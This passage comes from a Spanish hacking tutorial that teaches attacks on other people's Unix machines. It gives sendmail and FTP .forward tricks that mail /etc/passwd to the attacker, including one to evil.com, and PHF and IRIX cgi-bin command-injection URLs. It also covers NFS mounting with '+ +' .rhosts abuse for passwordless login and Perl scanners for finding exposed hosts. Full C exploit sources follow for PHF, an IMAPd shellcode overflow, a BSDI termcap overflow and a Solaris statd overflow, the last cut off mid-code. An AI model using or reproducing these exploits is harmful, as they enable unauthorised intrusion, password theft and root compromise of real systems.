Tambien se puede hacer finger root@victima.com , guest@victima.com, etc

con lo que obtendras informacion sobre ellos aunque no esten conectados.

Tambien se ha de tener en cuenta que a veces el puerto 79 esta abierto pero

no te da informacion. Esto puede ser porque esta usando tcp-wrappers, pero

eso es tema aparte, simplemente lo comento para que sepais que os puede

pasar.

Este metodo, y usando este script, os puede hacer conseguir muchos

passwords pero hay que currarselo mucho :o(. Obviamente, solo pensando un

poco se te pueden ocurrir muchas mas maneras de aprovechar el finger ya que

da bastante informacion sobre los usuarios aunque esta informacion cuando es

realmente util es combinada con otros sistemas de ataque :)

Hay muchos mas sistemas de ingenieria social como la chica necesitada de

ayuda en el irc y cosas parecidas, pero tampoco creo que valga demasiado la

pena explicarlo mas. Ademas, como en todos estos temas, el unico limite es tu

imaginacion :o)

Como es pesado buscar manualmente, puedes buscar maquinas con finger

usando un script hecho en shell y usando listas de hosts como las que se

explicaran en el apartado de nfs.

Ademas, para los que veais que este metodo es un poco co¤azo, el script este

siempre es util ya que tened en cuenta que las maquinas que tengan el finger

abierto son maquinas que no estan muy concienciadas por la seguridad no?..

jeje.. mejor no sigo dando ideas :o) aunque tened en cuenta que esto no

siempre sera cierto ya que es posible que usen los tcp-wrappers.

Nota: El tcp-wrapper es un programa que permite filtrar ip por los distintos

puertos e indicar que demonio o programa se ejecuta en cada uno de los

puertos por lo que podeis ver todas las aplicaciones maleficas que pueden

conseguir los roots usando este tipo de programas por lo que cuidado ahi fuera.

 

 

4.3.- CONSEGUIR FICHERO DE PASSWD A TRAVES DE

ALGUN BUG

 

En fin, hay muchos bugs y xploits que te permiten el acceso al fichero de

passwd pero aqui voy a exponer algunos que aunque son antiguos son

bastante ilustrativos (para pillar xploits nuevos, a buscar por la red ke hay

muchos.. de todos modos, en los apartados de pillar root, pondre xploits

modernos y que funcionan ;o).. estos los he elegido aunque sean un poco

antiguos porque son bastante ilustrativos:

Sistemas: Unix's en general, espacialmente AIX y SUNOS

Versiones: Sendmail, versiones anteriores a la 5.57 que no esten parcheadas

tumaquina% telnet victima.com 25

Trying X.Y.Z.A...

Connected to victima.com

Escape character is '^]'.

220 victima.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04

mail from: "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"

250 "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"... Sender ok

rcpt to: loquequieras

550 loquequieras... User unknown

data

354 Enter mail, end with "." on a line by itself

.

250 Mail accepted

quit

Connection closed by foreign host.

 

Notas:

-victima.com = nombre del ordenador a hackear

-mimaquina = nombre de nuestro ordenador

-Lo que aparece con un numero delante son mensajes de nuestra victima,

el resto es lo que tienes que escribir.

La idea de este bug, es que usualmente, en el sendmail en la linea de mail

from: pondrias pepe@uno.es , pero sin embargo, y la gracia esta aqui, le dices

que te mande el fichero /etc/passwd. Pero os digo una cosa sinceramente, este

bug no funciona casi nunca, y si funciona, felicidades , estas en una maquina

que el rOOt no tiene ni puta idea,

 

Como conseguir el fichero /etc/passwd si el ftp esta mal configurado

La victima debe de tener una copia completa del fichero /etc/passwd en su ftp

anonimo -ftp/etc en vez de una version reducida. Sin embargo, puedes ver que

normalmente nunca aparece el fichero verdadero :( , pero el home directory de

"ftp" puede ser escribible en victim.com. Esto te permite ejecutar comandos

remotamente - en este caso, mandarte el archivo por mail a ti mismo - por el

simple metodo de crear un archivo .forward que ejecuta un comando cuando un

mail es mandado a la cuenta "ftp".

evil % cat forward_sucker_file

"|/bin/mail zen@evil.com < /etc/passwd"

evil % ftp victim.com

Connected to victim.com

220 victim FTP server ready.

Name (victim.com:zen): ftp

331 Guest login ok, send ident as password.

Password:

230 Guest login ok, access restrictions apply.

ftp> ls -lga

200 PORT command successful.

150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).

total 5

drwxr-xr-x 4 101 1 512 Jun 20 1991 .

drwxr-xr-x 4 101 1 512 Jun 20 1991 ..

drwxr-xr-x 2 0 1 512 Jun 20 1991 bin

drwxr-xr-x 2 0 1 512 Jun 20 1991 etc

drwxr-xr-x 3 101 1 512 Aug 22 1991 pub

226 ASCII Transfer complete.

242 bytes received in 0.066 seconds (3.6 Kbytes/s)

ftp> put forward_sucker_file .forward

43 bytes sent in 0.0015 seconds (28 Kbytes/s)

ftp> quit

evil % echo test | mail ftp@victim.com

Ahora simplemente tienes que esperar a que el fichero de passwords te sea

enviado.

 

Ejecutar comandos de manera remota en Irix con cgi-bin/handler

El cgi-bin/handler en los sistemas IRIX permite la lectura y escritura de ficheros.

Sin embargo existe un bug que da paso a la ejecucion remota de comandos. El

sistema intentara abrir el fichero (taluego_Lucas) y si no existe dara un

mensaje de error para a continuacion ðejecutar el comando que sigue. Muy

importante, el espacio entre el comando cat y su argumento es un *tabulador*

(TAB), no se admiten espacios asi que aunque podeis poner otro comando que

no sea cat no podreis poner ningun comando que requiera espacios.

$ telnet victima.com 80

$ GET /cgi-bin/handler/taluego_Lucas;cat /etc/passwd|?data=Download

$ HTTP/1.0

En IRIX 6.3 se intento arreglar esto pero lo unico que se consiguio fue que el

formato del bug pase a ser:

$telnet victima.com 80

$GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download

$HTTP/1.0

Con un nuevo TAB para "enga¤ar" al script PERL.

 

Hay muchos mas, pero no me apetece seguir buscando.. quiza para

posteriores ediciones...ademas en esta categoria tambien entra el PHF que

esta explicado mas adelante.

 

4.4.- MOUNT

 

Este no es un bug, sino un defecto de configuracion del NFS. Aqui voy a

intentar explicarlo extensamente para que sepais lo que estais haciendo:

El NFS (Network File System) es un sistema de red que permite que una

maquina servidor pueda hacer disponibles sistemas de archivos y dispositivos

perifericos a maquinas clientes. Asi, la maquina cliente podra montar esos

directorios pudiendolos usar como si los poseyera.

Otra cosa muy distinta es lo que se pueda hacer con los ficheros incluidos en

dichos directorios (si se pueden borrar, modificar, alterar los permisos, etc), lo

cual depende de la configuracion del NFS. En realidad, no es dificil configurar

el NFS para que no pueda haber problemas de seguridad, usando las opciones

ro y rw en la configuracion que indican que clientes tienen acceso de lectura y

escritura respectivamente. Por tanto, los problemas aparecen cuando no han

sido utlidas estas opciones correctamente y cualquier usuario remoto puede

leer y escribir... gracias a dios hay root que dan facilidades :o)

Mount es el comando en unix que permite montar archivos en tu maquina para

conseguir el objetivo expuesto anteriormente.

Para ver si una maquina remota con NFS tiene files montables se hace siendo

root en la maquina donde estas usando el comando showmount. Este comando

se utiliza para determinar que sistema ha montado un sistema de archivos

desde un sistema dado. Con el parametro -a muestra todos los sistemas de

archivos que se han montado desde el nodo servidor mientras que el comando

-e muestra la lista de todos los sistemas de archivos exportados.

Como root, has de ejecutar en tu maquina:

$root> showmount -e hostvictima.com

mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive

Si la respuesta es algo de este estilo... quiere decir que no ha habido suerte :o(

$root> showmount -e otra.net

Export list for otra.net:

/var/mail makina1.otra.net

/home/user1 makina1.otra.net

/usr/local pluto.seva.net,rover.seva.net

/export/X11R6.3 makina2.otra.net

/export/rover makina1.otra.net,makina2.otra.net

En esta maquina no hay accesos del tipo everyone que sean interesantes :o( ..

bueno con otras tecnicas mas avanzadas si.. pero no son el objeto de este

texto ;o)

Seguimos buscando hasta que encontremos una maquina victim.com que nos

ponga algo del tipo

/home (everyone)

o

/ (everyone)

BINGO!!!!!

Una vez pillemos una makina de estas caracteristicas, se pueden hacer

muchas cosas pero voy a explicar el metodo tipico expuesto en los textos de

hacking aunque pensando un poko se te pueden okurrir otros :)

Lo que vamos a hacer es crear una cuenta rapper (rapper es el nombre de un

usuario de la maquina remota.. para cada caso sera uno distinto) en nuestro

fichero de passwd local ( es decir, el de nuestra maquina) y luego como usuario

rapper ( cambiamos a ese usuario con el su) pondremos una entra .rhosts en

su directorio home para poder hacer un rlogin sin password.

Primero, creamos el directorio donde lo vamos a montar

mimaquina:~>mkdir /tmp/mount

mimaquina:~>mount -nt nfs victim.com:/home /tmp/mount/

y con esto ya tendremos montado el directorio de la maquina remota en

nuestra maquina local con lo que haciendo un ls en /tmp/mount veremos todos

sus archivos :o)

mimaquina:~>ls -lsa /tmp/mount/

total 9

1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./

1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../

1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/

1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/

1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/

1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/

1 -rw------- 1 root root 242 Mar 9 1997 sudoers

1 drwx------ 3 test 100 1024 Oct 8 21:05 test/

1 drwx------ 15 102 100 1024 Oct 20 18:57 rapper/

Vemos que hay un usuario llamado rapper cuyo UID (User Identification) es

102 por lo que lo tendremos que incluir en el /etc/passwd de nuestra maquina:

mimaquina:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd

mimaquina:~>su - rapper

Welcome to rapper's user.

mimaquina:~>ls -lsa /tmp/mount/

total 9

1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./

1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../

1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/

1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/

1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/

1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/

1 -rw------- 1 root root 242 Mar 9 1997 sudoers

1 drwx------ 3 test 100 1024 Oct 8 21:05 test/

1 drwx------ 15 rapper daemon 1024 Oct 20 18:57 rapper/

Asi, poseemos el directorio de rapper por lo que podemos usar las propiedades

del .rhosts ( escribimos + + en su .rhosts y luego hacemos un rlogin):

mimaquina:~>echo "+ +" > rapper/.rhosts

mimaquina:~>cd /

mimaquina:~>rlogin -l rapper victima.com

Welcome to Victima.Com.

SunOs ver....(crap).

victima:~$

y ya tienes una cuenta en el sistema !

Para desmontar el archivo, sal de este directorio y ejecuta:

mimaquina:~> umount /tmp/mount

Tened en cuenta que para este metodo, hemos de tener acceso a la maquina

por rlogin, asi que si no es el caso, este metodo tambien admite otras

posibilidades pero eso se deja para otro texto :)

 

Como lo mas co¤azo de este metodo es buscar maquinas con ficheros

exportables, a continuacion expongo un script escrito por Invisble Evil en perl

que te permite buscar automaticamente. Para usarlo previamente se han de

conseguir listas de maquinas que se pueden obtener usando el host -l

nombredominio > salida y luego usando un script para obtener los ip del fichero

salida o se pueden obtener listas de maquinas que hay en internic (se obtienen

por ftp de rs.internic.net) y que son listas de maquinas con esa extension:

 

com.zone.gz

edu.zone.gz

gov.zone.gz

mil.zone.gz

net.zone.gz

org.zone.gz

cuando tengas estos files bajados y tras hacer un gunzip, tendras que ejecutar

el script en perl:

"perl getdomain.pl com.zone com >com.all"

perl getdomain.pl edu.zone edu >edu.all

Y asi con todos, obteniendo ficheros com.all, edu.all y sucesivamente donde

tendras la lista de maquinas.

getdomain.pl

---- cut here

#!/usr/bin/perl

# GetDomain By Nfin8 / Invisible Evil

# Questions /msg i-e or /msg i^e

#

# Retrieve command line arguments.

my($inputfile, $domain) = @ARGV;

usage() if (!defined($inputfile) || !defined($domain));

# Open and preprocess the input file.

open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for reading!\n");

my(@lines) = <INFILE>;

# Initialize main data structure.

my(%hash) = {};

my($key) = "";

foreach (@lines) {

$key = (split(/\ /))[0];

chop($key);

next if ((($key =~ tr/.//) < 1) ||

(uc($domain) ne uc(((split(/\./, $key))[-1]))) ||

($key =~ m/root-server/i));

$hash{$key}++;

}

# Close input file and output data structure to STDOUT.

close(INFILE);

foreach (sort(keys(%hash))) {

print "$_\n";

}

sub usage {

print("\n\ngetdomain:\n");

print("Usage: getdomain [inputfile] [search]\n\n");

print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n");

exit(0);

}

 

0;

 

---- cut here - end of script -----

 

Tras obtener la lista de maquinas usando el anterior script (edu.all, com.all,

etc..), se ha de usar el script que se expone a continuacion para obtener los

resultados del showmount -e:

En cada dominio, este script busca si hay discos montables y guarda la info en

el directorio actual en ficheros llamados domain.XXX.export... asi solo tienes

que ver estos logs y mirar si ha habido suerte !!!!

 

 

 

--------------- start of cmount.pl

#/usr/bin/perl -w

#

# Check NFS exports of hosts listed in file.

# (Hosts are listed, once per line with no additional whitespaces.)

#

# ii@dormroom.pyro.net - 2/27/97.

# Assign null list to @URLs which will be added to later.

my(@result) = ();

my(@domains) = ();

my($program) = "showmount -e ";

# Pull off filename from commandline. If it isn't defined, then assign default.

my($DomainFilename) = shift;

$DomainFilename = "domains" if !defined($DomainFilename);

# Do checking on input.

die("mountDomains: $DomainFilename is a directory.\n") if (-d

$DomainFilename);

 

# Open $DomainFilename.

open(DOMAINFILE, $DomainFilename) or

die("mountDomains: Cannot open $DomainFilename for input.\n");

 

while (<DOMAINFILE>) {

chomp($_);

print "Now checking: $_";

# Note difference in program output capture from "geturl.pl".

open (EXECFILE, "$program $_ |");

@execResult = <EXECFILE>;

next if (!defined($execResult[0]));

if ($execResult[0] =~ /^Export/) {

print " - Export list saved.";

open (OUTFILE, ">$_.export");

foreach (@execResult) {

print OUTFILE;

}

close (OUTFILE);

}

close(EXECFILE);

print "\n";

}

 

# We are done. Close all files and end the program.

close (DOMAINFILE);

0;

----------------- end of cmount.pl

 

Una nota final a todo este co¤azo, lo pongo aqui para que solo lo lean los que

se leen los textos enteros (jeje) es que /export/foo es el home directory del

usuario guest por lo que aunque no nos dejen exportar el directorio /home, en

caso de que nos dejen exportar el directorio /export, se podra aplicar este

mismo metodo pero teniendo en cuenta de que en lugar de usar el usuario

rapper se usara el usuario guest

 

suerte ahi fuera......

 

 

4.5.- PHF

 

Este sistema es antiguo y ampliamente conocido por todo el mundo, pero

aunque parezca mentira sigue funcionando y por ello lo expongo en este texto.

El phf es un fichero que se encuentra en el directorio /cgi-bin de maquinas unix

que ofrezcan este servicio y sirve para buscar direcciones, pero habilmente

utilizado puede servir para ejecutar comandos remotos sobre dicha maquina

pero no se pueden usar pipes, quotes, etc. En este texto nos vamos a centrar

en su uso para la obtencion del fichero passwd de un sistema aunque

pensando un poco se le pueden dar otras aplicaciones bastante interesantes ya

que te permite ejecutar comandos en la maquina victima.

Vamos a empezar comentando el uso mas extendido para luego dar otras

ayudas para su uso asi como otras aplicaciones:

Asi, escribe en tu navegador:

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

( 1 )( 2 )( 3 )( 4 )(5)( 6 )

1.- El site que quieras atacar.

2.- El comando phf.

3.- Aqui es donde esta el secreto.

4.- El programa que quieres que se ejecute.

5.- El %20 es un espacio, y se pueden usar tantos como te hagan falta.

6.- Y pues aqui va el archivo o directorio que quieres ver.

Tras ejecutar este xploit, pueden suceder varias cosas:

1.- Que no se encuentre el archivo phf, porque los administradores que son un

poco mas listos han desactivado esta opcion o que sea astuto y un poco borde

y te mande algun nuke al intentarlo .. todo no iba a ser bonito !! :o( Esto pasa

en algunas maquinas sobre todo si son de hackers :o)

2.- Que te salga el archivo, pero los password no estan de la manera habitual.

Entonces, pueden pasar dos cosas, que este shadow o que este el NIS

instalado. Si estamos en el segundo caso, se puede identificar porque en la

ultima linea del fichero tiene una cadena parecida a esta "+::0:0:::" Si NO TE

SALE, intenta poner en la linea del navegador, en vez de /etc/passwd pues

/etc/shadow u otro archivo dependiendo del sistema ( si el httpd rula como

root). Si TE SALE la cadena "+::0:0:::" estas de suerte, porque eso indica que

tiene activado el sistema de archivos NIS, y por lo cual posiblemente funcione

el comando "ypcat" para leer el passwd. La linea seria la siguiente:

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd

Con esto te saldran todas las cuentas sin sombrear, o sea lo que quiere decir

que puedes crackear el fichero passwd

Si todo sale bien el resultado sera del tipo:

 

QUERY RESULTS

 

/usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash

bin:*:1:1:bin:/bin:

daemon:*:2:2:daemon:/sbin:

adm:*:3:4:adm:/var/adm:

lp:*:4:7:lp:/var/spool/lpd:

sync:*:5:0:sync:/sbin:/bin/sync

shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown

halt:*:7:0:halt:/sbin:/sbin/halt

mail:*:8:12:mail:/var/spool/mail:

news:*:9:13:news:/usr/lib/news:

uucp:*:10:14:uucp:/var/spool/uucppublic:

operator:*:11:0:operator:/root:/bin/bash

games:*:12:100:games:/usr/games:

man:*:13:15:man:/usr/man:

postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash

nobody:*:-2:100:nobody:/dev/null:

ftp:*:404:1::/home/ftp:/bin/bash

guest:*:405:100:guest:/dev/null:/dev/null

bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash

web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

 

Y una vez tienes este texto en la pantalla de tu navegador, solo tienes que

hacer un guardar como.

Pero el PHF te da muchas mas posibilidades, ya que si el server esta corriendo

su httpd server como root, se puede obtener el acceso de root.

Usando

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/usr/bin/id

Usamos el id para conocer la identificacion del user. Recuerda que el root es

id=0 aunque lo usual es que corra bajo nobody y te saldria algo de este tipo:

QUERY RESULTS

 

 

/usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

 

Si en lugar de correr como usuario nobody, corriese como root, podriamos usar

comandos como root, interesante no??

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd

Estos dos ya han sido explicados anteriormente. El que muestro a continuacion

podria ser util para ver todos los ficheros del directorio /etc que empiezan con la

palabra pass.

http://www.victima.com/cgi-bin/phf?Qalias=x%0als%20-al%20/etc/pass*

Los tres comandos anteriores funcionaran aunque no corra como root, pero

para los siguientes si que es necesario el root, pero son los mas interesantes:

Cambiar el password del root (no funciona mucho pero si a veces):

http://www.victima.com/cgi-bin/phf?Qalias=x%0apasswd%20root

Ademas, hay que pensar que una makina kon phf y ke el httpd rule komo root

es practicamente como si tuviesemos una cuenta de root en la maquina, asi

que ya sabeis........ kreo ke sobran los komentarios no? }-)

Bien, todo lo que he contado es suponiendo que usais el navegador como el

Netscape para el ventanukos o usar el Netscape o lynx para linux, pero adjunto

un programa para que podais usar comandos para el phf desde el shell que es

mas comodo y ademas si usais una maquina de condon, no teneis que

depender de si esa maquina tiene navegadores o no.

En fin, el codigo es el siguiente:

 

/* Some small changes for efficiency by snocrash. */

/*

* cgi-bin phf exploit by loxsmith [xf]

*

* I wrote this in C because not every system is going to have lynx. Also,

* this saves the time it usually takes to remember the syntatical format

* of the exploit. Because of the host lookup mess, this will take

* approximately 12 seconds to execute with average network load. Be patient.

*

*/

#include <stdio.h>

#include <string.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

#include <errno.h>

int main(argc, argv)

int argc;

char **argv;

{

int i = 0, s, port, bytes = 128;

char exploit[0xff], buffer[128], hostname[256], *command, j[2];

struct sockaddr_in sin;

struct hostent *he;

if (argc != 3 && argc != 4) {

fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);

exit(1);

}

command = (char *)malloc(strlen(argv[1]) * 2);

while (argv[1][i] != '\0') {

if (argv[1][i] == 32) strcat(command, "%20"); else {

sprintf(j, "%c", argv[1][i]);

strcat(command, j);

}

++i;

}

strcpy(hostname, argv[2]);

if (argc == 4) port = atoi(argv[3]); else port = 80;

if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {

he = gethostbyname(hostname);

if (he) {

sin.sin_family = he->h_addrtype;

memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],

he->h_length);

} else {

fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);

exit(1);

}

}

sin.sin_family = AF_INET;

sin.sin_port = htons((u_short) port);

if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {

fprintf(stderr, "%s: could not get socket\n", argv[0]);

exit(1);

}

if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {

close(s);

fprintf(stderr, "%s: could not establish connection\n", argv[0]);

exit(1);

}

sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);

free(command);

write(s, exploit, strlen(exploit));

while(bytes == 128) {

bytes = read(s, buffer, 128);

fprintf(stdout, buffer);

}

close(s);

}

 

La sintaxis para usar este codigo es:

phf cat%20/etc/passwd www.maquinavictima.com para hacer un cat

passwd

phf id www.maquinavictima.com para hacer un id

phf ls www.maquinavictima.com para hacer un ls

etc... como veis la sintaxis es sencilla y mas comodo que usar el navegador.

 

Para posteriores ediciones del texto comentare algun codigo interesante que

tengo para explotar el phf asi como algun truquillo para obtener mas

posibilidades de este bug. ;o) como pillar los ficheros de passwd si esta

shadow, evitar filtrado de ip, etc... pensad que una maquina con phf es una

maquina en la que puedes ejecutar y ver comandos remotamente.. asi que

pensando un poco las posibilidades son infinitas :o)

 

4.7.- XPLOITS QUE TE DAN DIRECTAMENTE UNA SHELL

 

En este apartado, voy a poner unos cuantos xploits pero como he dicho

anteriormente, la red esta llena de xploits para todos los sistemas operativos y

casi todas las versiones asi que aqui solo voy a poner unos cuantos.

En fin, voy a poner uno que da directamente un shell de root debido al bug del

impad ( puerto 143) en maquinas linux con RedHat:

/*

* IMAPd Linux/intel remote xploit by savage@apostols.org 1997-April-05

*

* Workz fine against RedHat and imapd distributed with pine

*

* Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest of

ToXyn !!!

*

* usage:

* $ (imap 0; cat) | nc victim 143

* |

* +--> usually from -1000 to 1000 ( try in steps of 100 )

*

* [ I try 0, 100 and 200 - so1o ]

*/

#include <stdio.h>

char shell[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"

"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"

"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xe8\xc0\xff\xff\xff/bin/sh";

char username[1024+255];

void main(int argc, char *argv[]) {

int i,a;

long val;

if(argc>1)

a=atoi(argv[1]);

else

a=0;

strcpy(username,shell);

for(i=strlen(username);i<sizeof(username);i++)

username[i]=0x90; /* NOP */

val = 0xbffff501 + a;

for(i=1024;i<strlen(username)-4;i+=4)

{

username[i+0] = val & 0x000000ff;

username[i+1] = (val & 0x0000ff00) >> 8;

username[i+2] = (val & 0x00ff0000) >> 16;

username[i+3] = (val & 0xff000000) >> 24;

}

username[ sizeof(username)-1 ] = 0;

printf("%d LOGIN \"%s\" pass\n", sizeof(shell), username);

}

Otro para BSDI BSD/OS 2.1 y bien explicadito (aunque en ingles.. pero creo

que es demasiado sencillo para traducirno no?):

 

/* Bug originally discovered by Theo de Raadt

<deraadt@CVS.OPENBSD.ORG> */

/* BSDI BSD/OS 2.1 telnet-exploit ; evil-term.c

**

** Written by Joseph_K the 22-Oct-1997

**

**

** Original shellcode by mudge@l0pht.com but modified a tiny bit...

**

** This program must be compiled for the BSDI architecture...

** You will need to transfer the file 'termcap' this program creates

** to the host you want to penetrate, possibly by anonymous FTP.

**

** Then start telnet and type:

**

** telnet> env def TERM access

** telnet> env def TERMCAP /path/and/name/of/uploaded/file

** telnet> open victim.host.com

**

** tadaa! r00t shell...

**

** However because of the invalid termcap entry, there can be some

** hazzles....You figure it out....

**

** Fy faen vad jag ar hungrig...

**

** Special Greetz to TWiLiGHT!

**

*/

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>

#define filename "./termcap"

#define entry "access|Gimme r00t:\\\n :"

#define bufsize 1300

#define default_offset 870 /* Should work...*/

char shellcode[] =

"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"

"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"

"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"

"\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";

long get_sp(void)

{

__asm__("movl %esp, %eax\n");

}

int main(int argc, char *argv[]) {

int i, fd, offs;

long *bof_ptr;

char *ptr, *buffer, *tempbuf;

offs = default_offset;

if(argc == 2) {

printf("using offset: %d\n",atoi(argv[1]));

offs = atoi(argv[1]);

}

if(!(buffer = malloc(bufsize))) {

printf("can't allocate enough memory\n");

exit(0);

}

 

if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {

printf("can't allocate enough memory\n");

exit(0);

}

bof_ptr = (long *)buffer;

for (i = 0; i < bufsize - 4; i += 4)

*(bof_ptr++) = get_sp() - offs;

ptr = (char *)buffer;

for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)

*(ptr++) = 0x90;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

printf("Creating termcap file\n");

snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry, buffer);

fd = open(filename, O_WRONLY|O_CREAT, 0666);

write (fd, tempbuf, strlen(tempbuf));

close(fd);

}

Otro para Solaris 2.5.1:

/*

statd remote overflow, solaris 2.5.1 x86

there is a patch for statd in solaris 2.5, well, it looks like

they check only for '/' characters and they left overflow there ..

nah, it's solaris

usage: ./r host [cmd] # default cmd is "touch /tmp/blahblah"

# remember that statd is standalone daemon

*/

#include <sys/types.h>

#include <sys/time.h>

#include <stdio.h>

#include <string.h>

#include <netdb.h>

#include <rpc/rpc.h>

#include <rpcsvc/sm_inter.h>

#include <sys/socket.h>

#define BUFSIZE 1024

#define ADDRS 2+1+1+4

#define ADDRP 0x8045570;

/* up to ~ 150 characters, there must be three strings */

char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};

char

asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\

x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x8

9\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\

x9a\x01\x01\x01\x0

 

1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x

02\x02\x02\x02";

char nop[]="\x90";

char code[4096];

void usage(char *s) {

printf("Usage: %s host [cmd]\n", s);

exit(0);

}

main(int argc, char *argv[]) {

CLIENT *cl;

enum clnt_stat stat;

struct timeval tm;

struct mon monreq;

struct sm_stat_res monres;

struct hostent *hp;

struct sockaddr_in target;

int sd, i, noplen=strlen(nop);

char *ptr=code;

if (argc < 2)

usage(argv[0]);

if (argc == 3)

cmd[2]=argv[2];

for (i=0; i< sizeof(code); i++)

*ptr++=nop[i % noplen];

strcpy(&code[750], asmcode); /* XXX temp. */

ptr=code+strlen(code);

for (i=0; i<=strlen(cmd[0]); i++)

*ptr++=cmd[0][i]-1;

for (i=0; i<=strlen(cmd[1]); i++)

*ptr++=cmd[1][i]-1;

for (i=0; i<=strlen(cmd[2]); i++)

*ptr++=cmd[2][i]-1;

ptr=code+BUFSIZE-(ADDRS<<2);

for (i=0; i<ADDRS; i++, ptr+=4)

*(int *)ptr=ADDRP;

*ptr=0;

printf("strlen = %d\n", strlen(code));

memset(&monreq, 0, sizeof(monreq));

monreq.mon_id.my_id.my_name="localhost";

monreq.mon_id.my_id.my_prog=0;

monreq.mon_id.my_id.my_vers=0;

monreq.mon_id.my_id.my_proc=0;

monreq.mon_id.mon_name=code;

if ((hp=gethostbyname(argv[1])) == NULL) {

printf("Can't resolve %s\n", argv[1]);

